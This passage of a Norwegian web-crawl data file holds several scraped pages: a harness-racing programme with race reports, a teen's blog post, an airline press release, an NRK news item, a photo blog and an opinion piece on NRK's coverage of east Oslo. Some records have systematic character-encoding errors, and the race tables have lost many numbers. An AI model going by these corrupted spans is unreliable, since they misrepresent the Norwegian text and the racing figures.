3-\u00e5rsl\u00f8pene enten ble flyttet eller fjernet fra terminlisten. Finalefeltene i \u00e5rets to l\u00f8p holder h\u00f8y klasse. Vi \u00f8nsker alle deltakerne i DNTs 5-\u00e5rsl\u00f8p og DNTs 5-\u00e5rsl\u00f8ps hoppeavdeling lykke til. Jan Hedr\u00e9n, Sportssjef DNT KRYSSPILL P\u00c5 DRAMMEN TRAVBANE Med virkning fra 1. september 2013 blir dager for krysspill p\u00e5 Drammen Travbane redusert til onsdager og l\u00f8rdager. \u00c5pningstider blir: - onsdager: fra kl og til siste l\u00f8p er i m\u00e5l - l\u00f8rdager: fra kl og til siste l\u00f8p er i m\u00e5l Krysspillet foreg\u00e5r som tidligere i \u00abLille Sicilia\u00bb puben i kjelleren p\u00e5 Travkroa STALL AARLIE FLYTTER\\! 1. oktober flytter Travtrener Renate Aarlie inn p\u00e5 stallen til Bj\u00f8rn Gulbransen p\u00e5 R\u00f8yse. (40 min fra Drammen). Her har som kjent mang en topphest blitt fostret og trent opp. Stedet har flotte treningsforhold \u00e5ret rundt, store uteomr\u00e5der, treningsl\u00f8yper p\u00e5 sandgrunn, walker og tredem\u00f8lle. \u00d8nsker du at din hest skal st\u00e5 i trening hos meg, ta kontakt p\u00e5 telefon eller mail: 5\n\n\n\n10 Veien til finalen DNTs 5-\u00e5rsl\u00f8p 1. kvalifisering: Tekno Odin kom best i gang av 60-meters hestene. Forbedret posisjon i annetspor etter hvert som det ble skifter i front. I tet ved eksakt halvkj\u00f8rt l\u00f8p. \u00d8kte farten suksessivt, og reiste i fra til suveren seier. Briskeby Rauen innledet forsiktig. Siste hest i annetspor, som ble til 2.utvendig n\u00e5r Tekno Odin overtok teten. Angrep i 3.spor 400 meter fra m\u00e5l. Sikker toer. J\u00e4rvs\u00f6gutten innledet som 3.hest. I tet etter 900 meter. 3.innvendig 500 meter senere. \u00c5pning i siste sving. Sl\u00e5tt med en lengde av 2.hest. Krusse innledet i 2.utvendig. Til tet etter 1300 meter. M\u00e5tte slippe umiddelbart. Toer til ut i oppl\u00f8pet, men trakk seg litt siste 200. Vertigo Bj\u00f8rn innledet som siste hest innvendig. Etter hvert 3.utvendig. Med i angrep 400 igjen. Fin avslutning, og knepent sl\u00e5tt til femte. Dragon i rygg p\u00e5 Tekno Odin. Ble d\u00f8dens midtveis i l\u00f8pet. Trakk seg inn i siste sving. Oddvar ensom strekhest som slapp etter 400 meter. Sm\u00f8g med innvendig. Hindret i siste sving, og tapte muligens en premie p\u00e5 det. Faks Nils til tet etter 400 meter. Slapp 500 meter senere. Galopp i siste sving. Passeringer: 1.28/ ,5/ kvalifisering: Gylden Balder var tidlig i kontakt med feltet, og havnet i 3.utvendig. Overtok teten etter 1600 meter. \u00d8kte farten i siste runden, og stakk unna til klar seier. Elmer innledet i 2.utvendig. D\u00f8dens i en sving. Overtok etter 1300 meter. Slapp 300 meter senere. Kunne ikke f\u00f8lge helt inn, men fullf\u00f8rte sterkt. Lex Lodney 4 utvendig. Siden som 5.hest da alle kj\u00f8rte i 1.spor. 2.utvendig runden igjen. N\u00e6rmet seg 2.hest gjennom siste sving, men maktet ikke \u00e5 holde den farta helt inn. Knepen treer. Mj\u00f8lner Komet innledet i d\u00f8dens. Siden litt p\u00e5 innerspor. Dro 2.spor p\u00e5 nytt runden fra m\u00e5l. Holdt jevn fart hele veien, og var knepent sl\u00e5tt fra tredje. Stensvik Iver til tet i f\u00f8rste sving. Slapp etter 1300 meter. Siden tredje innvendig. Kunne ikke f\u00f8lge de fire beste inn mot siste sving. Sikker femte. Viktor K. galopperte i f\u00f8rste sving. Siden i baktroppen. Holdt knepent unna for Lykkje Svarten. Lykkje Svarten galopperte i f\u00f8rste sving. Siden med som sistehest. Likt med Viktor K. i m\u00e5l. Passeringer: 1.32,5/ , DNTs 5-\u00e5rsl\u00f8p Hoppeavdeling 1. kvalifisering: J\u00e6rvs\u00f8 Kristina 3 innvendig unverveis. \u00c5pning midtveis i den siste svingen. Klart forbedret, men heldig og knepen seier da lederhesten galopperte. Odine U.N. 4.innvendig. Ut i 2.utvendig 700 meter fra m\u00e5l. Trafikkproblemer inn i den siste svingen. Kjapp spurt da \u00e5pningen kom. Vital Sjanell lederrygg. Kom frem p\u00e5 innsiden da lederhesten galopperte p\u00e5 oppl\u00f8pet. Ty Li 3 utvendig. Angrep 800 igjen. M\u00e5tte via fjerdspor. Ute av taktene utvendig for leder ut i oppl\u00f8pet. Litt forstyrret kort f\u00f8r m\u00e5l, og kan ha tapt ett par plasser p\u00e5 det. Fakseflya frem til d\u00f8dens etter 500 meter. Kunne ikke v\u00e6re med i temposkifte mot den siste svingen. Holdt farten godkjent. Knep 5.plassen. Lykkeflicka sjanset innvendig hele veien fra sitt tillegg, og holdt farten godkjent. Voje Eldina 4.utvendig. Med i angrep 600 igjen. Fors\u00f8kte via dr\u00f8ye spor i siste sving, men klarte ikke \u00e5 hente noe. Passeringer: 1.30/ / kvalifisering: Hovsjerka tet. Holdt jevnt bra tempo underveis. Holdt unna til kontrollert seier. Sjefsanna lederrygg. Fulgte helt inn, og s\u00e5 ut til \u00e5 ha krefter spart. Forbedret. J\u00e6rvs\u00f8rappa dro annetsporet. Hvilte litt som 3.hest innvendig. D\u00f8dens igjen 1000 meter fra m\u00e5l. Fullf\u00f8rte sterkt. Mj\u00f8lner Faksa med som 5 hest underveis. Galopperte 900 igjen. Kom fint tilbake, og knep fjerdeplassen. Alm Tarita 3.innvendig. Hang bra med, men stummet litt siste 150 meter. Fr\u00f8ken Fakse med i baktroppen innledningvis. Oppe som 6.hest runden igjen. Fikk aldri ligge rolig i noen rygg, og gikk p\u00e5 det jevne. S\u00f8reng Spika 4.hest underveis. 2.utvendig 1000 meter igjen. Trakk seg i siste sving. Hellin J\u00e6rva satt bak i feltet fra sitt lange tillegg. Kjempet om premie i siste sving, men maktet ikke \u00e5 hente noe. Passeringer: 1.28/ ,5/\n\n\n\n\n\n13 Totalisatorl\u00f8p : ,4v : ,7a H\u00f8iby Gullet 9 28,4l 26,7ak \u00e5r Huskbrun V Gullsvarten e.h\u00f8iby Lydia e.elding Oppdr.: Alf Fuglem Eier: Knut Dagestad /Voss Svein Ove Wassberg (S) - Odd Arne Sagholen (T) Bl\u00e5 m/s\u00f8lv ermringer\\&kanter,reklame O. Sagholen B 12/06-05/ ,6ag 551 O. Sagholen M 06/07-08/ dg 1168 O. Sagholen MT 16/07-07/ ,6 24 O. Sagholen B 31/07-05/ ,5ag 46 O. Sagholen B 14/08-04/ , : ,8a : ,5a Finnskog Fokus 10 28,4m 26,5ak \u00e5r Brun V Spikeld e.silje Spretta e.pajaprins Oppdr.: Henrik Kulblik Eier: Gunnar Kv\u00e6rne /Sem Erlend Rennesvik (S) - Gunnar Kv\u00e6rne L.gr\u00f8nn,gr\u00e5/skstk,bl\u00e5 sidef,gr\u00e5/r\u00f8 sto K. Malmin J 13/07-05/ ,1 562 K. Malmin ST 20/07-03/ ,8a 353 E. Hafskjold \u00c5R 28/07-09/3m ,9 169 S. S\u00f8nsterudbr\u00e5ten J 09/08-02/ ,4a 164 E. Hafskjold J 18/08-09/10m ,4a : ,7v : ,6a Tele Viking 11 26,7k 26,6ak \u00e5r Svart H Lome Elden e.lannem Stjerna e.braute Oppdr.: Nils Arne Flikki Eier: Stall B\u00f8h\u00e6ringane, B\u00f8 I Telemark Silje Kristin Eilertsen (S) - Karoline Krogh-Hanssen (T) Gull m/hvit kile\\&sidef,svart mansj,rek G. Austevoll BT 08/06-05/ ,7 129 K. Johansen D 22/06-04/ ,6 127 K. Johansen M 16/07-06/ ,0a 23\\* K. Johansen B 31/07-05/ ,7a 157 K. Johansen BI 19/08-03/ : ,8a : ,6v Pilborka\\* (S) 12 26,6m 26,8ak \u00e5r Brun HP Moe Odin e.lillborka e.bork Rigel Oppdr.: Sverige Eier: Sverige Ole-Christian Kjenner (S) - Christer Eriksson (A) Svart m/oransje stolpe,rekl. Tips: outs.: 6 P. Nilsen B 22/05-05/ ,8a 198 P. Nilsen LB 06/06-03/ ,8 221 P. Nilsen \u00c5R 22/06-09/ ,5 239 P. Nilsen \u00c5M 04/08-06/ ,9ag 137 P. Nilsen J 18/08-08/ ,5a 159 F\u00f8rste 500 m km./tid F\u00f8rste 1000 m km./tid Km./tid REGIONR\u00c5DET for Hallingdal Fl\u00e5 Gol Hemsedal Hol 3570 \u00c5l Tlf: epost: Nes \u00c5l Tipsm\u00f8te Denne gangen blir det tipsm\u00f8te i m\u00f8terommet p\u00e5 hj\u00f8rnet av tribunebygget kl Tipsekspert \u00d8ivind Gr\u00f8stad er p\u00e5 plass, og det vil v\u00e6re mulig \u00e5 stille sp\u00f8rsm\u00e5l til \u00d8ivind denne gangen. Som vanlig serveres det kaffe og wienerbr\u00f8d. Vel m\u00f8tt\\! 13\n", "language": "no", "__index_level_0__": "ea2f6c81-9a5c-428b-9ca8-bb1027704ad7"}
{"url": "http://amoaa.blogg.no/1321856186_morgeninnlegg.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00630.warc.gz", "warc_date": "2018-03-24T23:31:22Z", "text": "## morgeninnlegg\\!\n\n  - 21.11.2011 kl.07:16 i Astri Mikaela\ngod morgen\\! skulle bare skrive et lite morgeninnlegg f\u0159r jeg drar p\u013a skolen. sitter n\u013a \u013a ser p\u013a \"God morgen norge\"  \nI dag begynner vi \u013a \u0159ve p\u013a Lucia. Det er hele ungdomsskolen som skal synge, \u013a s\u013ann har det v\u0107rt i maange \u013ar, saaakli.  \nMen blir sikkert \u013a skrive et til innlegg i dag, for jeg har ingen store planer for dagen - Hjem - spise - dusje - sove - lekser - chille\\!  \n  \nLoveyah :\u00a4  \n  \n**- hva skal du gj\u0159re i dag? '**\n\n****\u00a0\n\n  - 21.11.2011 kl.07:16 i Astri Mikaela\n\n\n#### Sandra\n\n21.11.2011 kl.14:48\n\n", "language": "no", "__index_level_0__": "c693d953-7ffa-471e-a5c5-069c5167f853"}
{"url": "http://news.cision.com/no/sas/r/1-0-til-reisekassa--barn-flyr-for-kroner-0--med-sas-og-wideroe-i-sommer,c9256177", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00693.warc.gz", "warc_date": "2018-03-24T23:50:39Z", "text": "  - 1-0 til reisekassa: Barn flyr for kroner 0,- med SAS og Wider\u00f8e i sommer\n\n# 1-0 til reisekassa: Barn flyr for kroner 0,- med SAS og Wider\u00f8e i sommer\n\nma, mai 07, 2012 07:30 CET\n\n**I \u00e5r kan feriekassen rekke mye lengre. I sommer er det billig for barna \u00e5 reise i Norge og til utvalgte destinasjoner i Sverige og Danmark med SAS og Wider\u00f8e. Du betaler kun skatter og avgifter, samt vanlig assistansetillegg for barn som reiser alene.**\n\nOver 65 000 barn reiser alene hvert \u00e5r med SAS og Wider\u00f8e. Det har v\u00e6rt en klar \u00f8kning de siste \u00e5rene, og dette skyldes blant annet at det har blitt enklere og billigere. I tillegg er fly den reisetypen som foreldre f\u00f8ler seg tryggest p\u00e5 \u00e5 sende barna alene med.\n\n\\- Vi \u00f8nsker \u00e5 gi b\u00e5de de som reiser alene og barnefamilier en mulighet til \u00e5 se og oppleve mer denne sommeren, sier markedssjef Siw B\u00f8rli i Wider\u00f8e. Tilbudet gjelder b\u00e5de for barn i f\u00f8lge med voksne, og barn som reiser alene. - N\u00e5 har man muligheten til \u00e5 sende barna p\u00e5 ekstraferie til bestemor og bestefar i sommer, sier Siw B\u00f8rli.\n\n\\- Med kombinasjonen SAS og Wider\u00f8e dekker vi hele Norge og store deler av Skandinavia. Til sammen dekker vi 45 destinasjoner bare i Norge og\u00a0fire i Danmark og Sverige med\u00a0denne kampanjen, forteller\u00a0markedssjef i SAS Tor Anton Bj\u00f8rge. -Hos oss er bagasje inkludert og du f\u00e5r gjennomsjekket bagasjen din helt frem uten ekstra kostnad. Du betaler ikke for \u00e5 velge seter heller, noe som er viktig for familier som selvsagt \u00f8nsker \u00e5 sitte sammen p\u00e5 flyturen.\u00a0En mer romslig reisekasse gir rom for enda flere opplevelser,\u00a0sier Tor Anton Bj\u00f8rge.\n\nBarnebillettene kan bestilles i perioden fra 7. til 14. mai og gjelder alle SAS og Wider\u00f8es reisem\u00e5l i Norge, til G\u00f8teborg, Stockholm, Gotland eller K\u00f8benhavn. Reiseperioden er i sommer fra 4.juni til 30. september med SAS, 1. juli til 31. august med Wider\u00f8e. Tilbudet gjelder barn til og med 11 \u00e5r.\n\nBilletter kan kj\u00f8pes p\u00e5 www.sas.no og www.wideroe.no\n\n\u00a0\nFor ytterligere informasjon, vennligst kontakt\n\nKnut Morten Johansen, informasjonssjef for SAS i Norge, telefon: 95719211 og\u00a0 e-mail: email@example.com\n\nSiw B\u00f8rli, markedssjef i Wider\u00f8e, telefon: 967 14 626 og e-mail\u00a0firstname.lastname@example.org\n\n*SAS er Skandinavias ledende flyselskap med billige flybilletter til destinasjoner i Europa, USA og Asia. SAS tilbyr flest lavprisbilletter i Skandinavia med flypriser du finner i\u00a0SAS' lavpriskalender som gir et godt\u00a0overblikk p\u00e5 hva som finnes p\u00e5 b\u00e5de innenriksfly og utenriksfly. For mer informasjon, bes\u00f8k www.sas.no.  \n*\n\n*SAS og Wider\u00f8e er begge selskaper i SAS Group.\u00a0Wider\u00f8e er Nordens st\u00f8rste regionale flyselskap med mer enn 2,5 millioner passasjerer \u00e5rlig. Selskapet har nesten 400 avganger daglig og opererer 38 fly av typen Dash 8 som trafikkerer mer enn 40 flyplasser i inn- og utland.*\n\n## ** Om oss\n\nSAS er Nordens st\u00f8rste b\u00f8rsnoterte fly- og reisekonsern og tilbyr flyreiser med utgangspunkt fra Nord-Europa. Scandinavian Airlines flyr internt i Skandinavia og til og fra destinasjoner i Europa, Nord-Amerika og Asia. SAS er medlem og en av grunnleggerne av verdens st\u00f8rste flyallianse \u2013 Star Alliance \u2013 og kan sammen med 27 partnere tilby over 1300 reisem\u00e5l i 192 land. For mer informasjon, bes\u00f8k www.sas.no\n\n## ** Kontakter\n\n  - **Knut Morten Johansen**  \n    \n    Head of Media Relations Norway\n    \n    \n\n", "language": "no", "__index_level_0__": "7def1edf-7852-43fa-8f53-2c505e309c2a"}
{"url": "https://www.nrk.no/buskerud/darlige-forhold-pa-asylmottak-1.286949", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00693.warc.gz", "warc_date": "2018-03-25T00:28:07Z", "text": "Forholdene ved Hol statlige asylmottak i Hallingdal er s\u00e5 d\u00e5rlige at driftselskapet har f\u00e5tt p\u00e5legg om \u00e5 pusse opp f\u00f8r p\u00e5ske.\n\nKommuneoverlege \u00d8ystein Lappegard mener at de helsemessige forholdene ved mottaket ikke er tilfredsstillende.\n\n\\- Organiseringen av kj\u00f8kkenet er ikke god.\n\n\\- Badene har v\u00e6rt fuktige og hatt mye sopp, og trenger en renovering, sier kommuneoverlegen.\n\nUDI er heller ikke forn\u00f8yd med tilstanden, og h\u00e5per at driftsselskapet Link ordner opp i de kritikkverdige forholdene.\n\n  Publisert  09.02.2004, kl. 09.21    Oppdatert  09.02.2004, kl. 10.34 \n\n### Buskerud: Hallingdal\n\n## Opnar opp om eiga legning: \u2013\u00a0Eg har kjent p\u00e5 at eg rommar meir, at kj\u00e6rleiken er st\u00f8rre\n\nSondre Justad.\n\n\n## Vestfoldbanen stengt etter p\u00e5kj\u00f8rsel\n\nPerson funnet d\u00f8d etter hendelse i Sande.\n\nAv Fabian Skalleberg Nilsen\n\n\n\n## Flere sykkelritt avlyses p\u00e5 grunn av nytt krav\n\nFerske forskrifter skaper frustrasjon blant arrang\u00f8rer av sykkelritt over hele landet. Frivillige m\u00e5 p\u00e5 kurs for \u00e5 f\u00e5 dirigere trafikk.\n\nAv Magnus Lutn\u00e6s Aas, Vegard Unger Ellefsen og Anette Dotseth Stensholt\n\n\n\n## Lokale kometer p\u00e5 pallen\n\nHenrik Kristoffersen (23) m\u00e5tte se seg sl\u00e5tt av blant andre 17 \u00e5r gamle Lucas Braathen fra Hokksund under storslal\u00e5mrennet i NM. Drammenser Marcus Monsen tok bronsen.\n\n", "language": "no", "__index_level_0__": "d727160a-590e-4889-89d1-389624451fb3"}
{"url": "http://fritthelsevalg.no/category/artikler/page/2/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00088.warc.gz", "warc_date": "2018-03-24T23:41:12Z", "text": "## Har du noen tilbakemeldinger til oss?\n\nKanskje du har noe du vil tipse om? Vi tar gledelig imot alle innspill og tips fra dere, slik at vi kan utvikle v\u00e5rt arbeid.  \nSt\u00f8tt v\u00e5rt arbeid mot full helsefrihet\\!\u00a0Kj\u00e6rlig hilsen alle oss\u00a0i Fritt Helsevalg.\n\n", "language": "no", "__index_level_0__": "30f9c7d6-e1c7-4779-82a4-8caf40d90f0b"}
{"url": "https://www.ytrehvaler.no/ytrehvalernasjonalpark/Naturforvaltning/Skjargardens-hus/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00064.warc.gz", "warc_date": "2018-03-24T23:24:21Z", "text": "# Skj\u00e6rg\u00e5rdens hus\n\nSkj\u00e6rg\u00e5rdens hus er forvaltningsknutepunktet for Ytre Hvaler nasjonalpark. Her finner du Ytre Hvaler nasjonalparkstyre, Statens naturoppsyn og Skj\u00e6rg\u00e5rdstjenesten. Huset ligger p\u00e5 Skj\u00e6rhalden med utsikt ut mot Ytre Hvaler nasjonalpark. Et steinkast unna ligger Ytre Hvaler nasjonalparksenter som drives av Hvaler kommunes kulturavdeling.\u00a0For mer om de forskjellige etatene, se menyen til venstre.\n\n\")\n\nSkj\u00e6rg\u00e5rdens hus\n\nFoto: Marit Winther-Janson\n\n\u00c5 samle naturfaglig kompetanse p\u00e5 samme m\u00e5te som er gjort i Skj\u00e6rg\u00e5rdens hus, er gjort i forbindelse med st\u00f8rre verneomr\u00e5der flere steder i Norge. Det er bevilget penger fra Milj\u00f8verndepartementet til \u00e5 samle kompetansen og etablere forvaltningsknutepunkt for verneomr\u00e5dene.\u00a0Her er det f\u00f8rsteh\u00e5ndskunnskap om nasjonalparken, gode r\u00e5d \u00e5 f\u00e5 og mye informasjon \u00e5 hente for dem som \u00f8nsker det.\n\nPublisert: 10.12.2012 Sist endra: 12.11.2014\n\n", "language": "no", "__index_level_0__": "e7be661e-5381-453a-9e54-39627d3caeca"}
{"url": "https://beatehemsborg.blogspot.com/2013/05/vakkert_27.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00680.warc.gz", "warc_date": "2018-03-24T23:31:13Z", "text": "## mandag 27. mai 2013\n\n### vakkert...\n\n\n\n  \n  \nHeldige meg som f\u00e5r ta bilde av kjekke konfirmanter.\n\nI g\u00e5r fikk jeg jammen en ny utfordring ogs\u00e5...\n\nJepp, jeg tenker p\u00e5 den flotte firbeinte over her\\!\n\n\u00a0\n\n\n  \nVakre og sporty\u00a0jenter\\!\n\n  \n\n\nNydelige bunader\\!\\!\\!\n\n  \n\n\n  \nTakk for en flott dag jenter\\!\\!\n\n\u00a0\n#### 10 kommentarer:\n\n1.  \n    \n    Beate27.05.2013, 08:49\n    \n    Nydelige konfirmantbilder :)  \n    Konfirmant og hest h\u00f8rer liksom sammen\\! :)  \n      \n    Ha en fin dag\\!  \n      \n    //Beate :)\n    \n2.  \n    \n    Inspirasjon fra Elin27.05.2013, 11:13\n    \n    Veldig flotte bilder, og fine bunader\\! :)\n    \n3.  \n    \n    stallnilsen27.05.2013, 12:15\n    \n    S\u00e5 nydelige jenter, det f\u00f8rste bilde av jenta og ponnien ( s\u00e5 ut som en ponnie ) var helt utrulig vakkert ;)  \n      \n    Lisbeth :)\n    \n4.  \n    \n    Bl\u00e5b\u00e6rtua27.05.2013, 14:04\n    \n    S\u00e5 nydelige bilder av vakre jenter og flotte bunader\u2764  \n    Fine dag til deg:)  \n    Klem fra Lillian\n    \n5.  \n    \n    Mittogvaarthjem.blogspot.no27.05.2013, 15:30\n    \n    Vakre jenter og bilder:) Ikkje vanskligt \u00e5 se at vi er i telemark,ingen har finare bunader enn dem:)  \n    Fin ukestart til deg\\!  \n      \n    Hilsen fra Siv Mette\n    \n6.  \n    \n    Fru Hansens Kreativiteter27.05.2013, 21:29\n    \n    Nydelige bilder av vakre jenter og flott hest \\<3  \n    klem\n    \n7.  \n    \n    Vibeke S\u00e6ther Svenningsen27.05.2013, 22:22\n    \n    Tenk jeg kjenner begge disse jentene,og du har \"fanget\"dem bare S\u00c5 fint Beate:)Dette KAN du\\!\\!  \n    klem\n    \n    1.  \n        \n        beatehemsborg27.05.2013, 23:06\n        \n        \u00c5\u00e5\u00e5, tusen takk vibeke\\! Det var en flott tilbakemelding \u00e5 f\u00e5\\!\\!  \n          \n8.  \n    \n    am design28.05.2013, 12:25\n    \n    S\u00e5 fine bilder av flotte konfirmanter\\!  \n    Skal snart knipse v\u00e5r konfirmant ogs\u00e5, hun skal bare en tur til London f\u00f8rst\\!\\! ;)  \n    Ha en fin dag. Klem fra Anne-Marit\n    \n9.  \n    \n    Huldra30.05.2013, 18:41\n    \n    Nydelige bilder\\! Kan tenke meg jentene ble glade for sluttresultatet. Den firbente ble smashing p\u00e5 bildet den ogs\u00e5 ja :)\n    \nJeg blir veldig glad hvis du legger igjen en liten hilsen. Hvis du ikke har blogg selv kan du huke av for anonym i boksen under her...  \n  \n\n", "language": "no", "__index_level_0__": "79ffc1b0-7bac-40db-ab70-e32faa142084"}
{"url": "http://erikstephansen.blogg.no/1489599908_nrk_med_egenprodusert_virkelighet.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00283.warc.gz", "warc_date": "2018-03-24T23:04:32Z", "text": "\n\n# \n\n# NRK med egenprodusert virkelighet\n\n  \n*Dagsrevyen vil ha oss til \u013a tro\u00a0at en fjerdedel av ungdommene p\u013a \u0159stkanten selger hasj. Hvor i all verden har de det fra? Skjermdump.*  \n\u00a0\n\n**All \u0107re til NRK for \u013a ville se n\u0107rmere p\u013a forholdene i\u00a0Oslo \u0159st. Men det vi trenger i innvandringsdebatten er dokumenterbare fakta - ikke oppskrudde f\u0159lelser og tv-dramaturgi som fors\u0159ker \u013a sannsynliggj\u0159re en virkelighet som ingen kjenner seg igjen i.**\u00a0\n\nJeg var en av dem som med stigende undring s\u013a NRKs reportasje fra Oslo \u0159st i helga. Jeg har ogs\u013a fulgt debatten etterp\u013a, og sett den vanlige polariseringen i ettertid - mellom dem som tror, og ikke tror.\n\nOg for \u013a si det slik:\u00a0Jeg er ikke av dem som mener vi b\u0159r feie problemene med innvandring under teppet. Tvert om blir Nettavisen av og til\u00a0kritisert for \u013a v\u0107re for innvandringskritiske, eller at vi slipper til for mange innvandringskritikere i spaltene.\u00a0\n\nDet er fordi vi prinsipielt \u0159nsker en \u013apen debatt, med flest mulig fakta p\u013a bordet. Vi arrangerte nettopp en konferanse om emnet.\n\nMen s\u013a er det nettopp fakta som er hovedproblemet med NRK-reportasjen: Det\u00a0inneholdt den nemlig bemerkelsesverdig lite av,\u00a0desto mer f\u0159lelser og tv-dramaturgi for \u013a dekke over svake punkt. Det skal jeg komme tilbake til.\n\nF\u0159rst\u00a0en advarsel:\u00a0Dette kommer til \u013a bli langt. \u00a0\n\nDeretter m\u013a jeg opplyse om at jeg kjenner reporter Anders Magnus fra f\u0159r.\u00a0Vi jobbet sammen i TV 2 i flere \u013ar, og jeg\u00a0anser ham som en dyktig og hyggelig kollega. Dessuten har jeg selv bodd i bydelen S\u0159ndre Nordstrand i Oslo i\u00a0over ti \u013ar. Jeg har barn som g\u013ar p\u013a skole der. Dette kan v\u0107re b\u013ade en styrke og en svakhet. P\u013a den ene siden har jeg greie p\u013a hva jeg snakker om. P\u013a den andre siden kan jeg bli mistenkt for \u013a ville\u00a0\"snakke opp\" min bydel.\n\nMen i tillegg kan jeg litt om tv-dramaturgi. Og det er det som er mitt hovedpoeng her. For av og til kan det v\u0107re nyttig \u013a g\u013a grundig gjennom hva det egentlig er vi *ser*. Her er min gjennomgang:\n\nF\u0159rst kommer en dramatisk intro, med bilder av hasjplante, en hettekledd ungdom, en pistol og et kart over Oslo \u0158ST. \u00a0\"Kraftig volds\u0159kning blant ungdom i \u0159stlige bydeler\" blir det sagt fra studio.\n\nDeretter g\u013ar vi rett over til en politipatrulje som stopper en bil. Det er kveld p\u013a Haugenstua, og en stemme sier at slikt er \"helt vanlig her\".\u00a0Vi f\u013ar \u00a0ikke vite hva som er helt vanlig her, om det er en narkohandel som g\u013ar skeis\u00a0eller om det er en bilist som mangler en baklykt.\u00a0\n\n  \n*Det ser skummet ut. men hva ser vi egentlig?\u00a0Det svarer ikke NRK p\u013a. Skjermdump*  \n\u00a0\n\nS\u013a kommer\u00a0Anne Karima Nordengen inn i bildet.\u00a0Hun sier at det blir \"gradvis verre og verre, og ute av kontroll\". NRK forteller at hun er frivillig, og jobber for ungdom.\n\n*- Ja, det er ungdom p\u013a 15-16 \u013ar som g\u013ar med v\u013apen her, sier hun.\u00a0*\n\n*- Hva slags v\u013apen da?*\n\n*- Skytev\u013apen. Pistoler.* \u00a0\n\nVi f\u013ar ikke vite noe om *hvor* Nordengen er frivillig. Heller ikke om pistoler er noe hun har sett *selv*, eller noe hun har h\u0159rt\u00a0fra andre.\u00a0\n\nDeretter treffer vi en sympatisk landhockeytrener, som forteller om ungdomsgjenger som lager br\u013ak. At\u00a0det skjer narkotikasalg p\u013a \u013apen gate i bydelen.\u00a0Han sier at gjengene kan v\u0107re truende, og han ber foreldre om ikke \u013a sende ungene sine alene til senteret.\u00a0\n\nS\u013a forteller NRK om gjenger som samler seg p\u013a Mortensrud-senteret for \u013a starte br\u013ak og sl\u013asskamper. S\u013a f\u013ar vi se dem, ungdomsgjengene.\u00a0Ikke n\u0159dvendigvis kriminelle gjenger, kanskje er det bare noen som henger p\u013a senteret.\n\nMen de blir sladdet. NRK vil kanskje\u00a0si at det blir\u00a0gjort for ikke \u013a kaste mistanke over uskyldige, men en effektiv\u00a0bi-effekt - som NRKs redigerer selvsagt kjenner til - er at det n\u013a ser *ordentlig* skummelt ut. For ikke bare er ungdommene sladdet, vi kan ogs\u013a se at de er m\u0159rke.\u00a0\n\nNRK forteller at her er det barn ned i 12-\u013arsalderen som bruker og selger hasj.\u00a0\n\nS\u013a over til kontoret til politiinspekt\u0159r\u00a0Einar H Aas, som bekrefter at foreldre er bekymret, og at\u00a0det finnes\u00a0gjenger som er blitt en maktfaktor i de kriminelle milj\u0159ene.\u00a0\n\nDermed\u00a0blir vi med en spaningspatrulje som g\u013ar inn i et hus ett eller annet sted i Oslo. Vi aner ikke hvor, men NRK forteller at politiet \"daglig\u00a0finner\u00a0mindre mengder narkotika\". Men at de ikke klarer \u013a stanse \"flommen av ulovlige rusmidler\".\n\nS\u013a kj\u0159rer vi bil gjennom m\u0159rke gater. NRK forteller at kriminelle gjenger har f\u013att \"kraftig fotfeste\", og at sosiale problemer gj\u0159r det lett for gjenglederne \u013a rekruttere ungdom, og ogs\u013a barn, til \u013a selge narkotika for dem.\u00a0\n\nDen f\u0159rste anonyme hasjselgeren dukker opp. NRK kaller ham \"Younus\". Han ruller seg en skikkelig b\u0159nne mens han bekrefter at de som begynner \u013a selge kan v\u0107re 12-13 \u013ar.\u00a0\n\nUtstyrt med balaklava (hette mer \u013apning bare for \u0159ynene og munnen) sier han at mange g\u013ar med v\u013apen.\n\n*- Du kan finne en 15-\u013aring som har en ekte pistol hjemme, sier han.*\n\n\u00a0Heller ikke n\u013a f\u013ar vi vite om dette er noe han har sett selv, eller om det er noe han har h\u0159rt om fra andre.\u00a0\n\n  \n*Hasjselger med bare \u013apning for munnen forteller om v\u013apen. Skjermdump*  \n\u00a0\n\nS\u013a treffer vi hasjselger nummer to.\u00a0NRK kaller ham \"Veton\". Han bekrefter at det er mye v\u013apen i oml\u0159p:\n\n*- Alt. Pistoler, hagler, rifler. Kniver, balltre, k\u0159ller ...\u00a0* \u00a0\n\nDeretter treneren igjen, som forteller at noen en gang truet og stjal en hockek\u0159lle fra en av guttene, som de brukte til \u013a knuse en buss. En anonym guttespiller forteller at han er redd gjengene.\u00a0\n\n*- De er fulle, og kommer og angriper deg, sier han*\n\nJeg mener ikke \u013a bagatellisere denne redselen. Det er mange barn som er redd for ungdommer. Noen av dem er farlige, og ungdomsgjenger med hockek\u0159ller er ikke til \u013a sp\u0159ke med.\u00a0\n\nMen det jeg lurer p\u013a, hvis det er slik at v\u013apnene florerer i Oslo \u0159st: Hvorfor viste ikke NRK bilder fra ett av de mange beslagene som politiet da helt sikkert har gjennomf\u0159rt i de ulike bydelene? Politiet har jo v\u0107rt sv\u0107rt flinke til \u013a ta bilder av slike beslag tidligere?\n\nN\u013a kommer det statistikk p\u013a skjermen: Vi f\u013ar vite vite at Grorud, Stovner og S\u0159ndre Nordstrand har opp mot dobbelt s\u013a mange sosialhjelpsmottakere og barn p\u013a barnevernstiltak som hele Oslo - og nesten fire ganger s\u013a mange som \u0159stkantens \"vestkant\" - Nordstrand. Ogs\u013a frafallet fra videreg\u013aende skole er h\u0159yere.\n\nNyttig og solid informasjon, alts\u013a. Som kunne sagt noe vesentlig om ulike oppvekstvilk\u013ar i Oslo.\n\nI stedet kommer en ny hasjselger p\u013a banen, denne gang er det \"Abdul\" i hettegenser. Han var 13 n\u013ar han begynte \u013a r\u0159yke. NRK\u00a0sp\u0159r om han kjenner 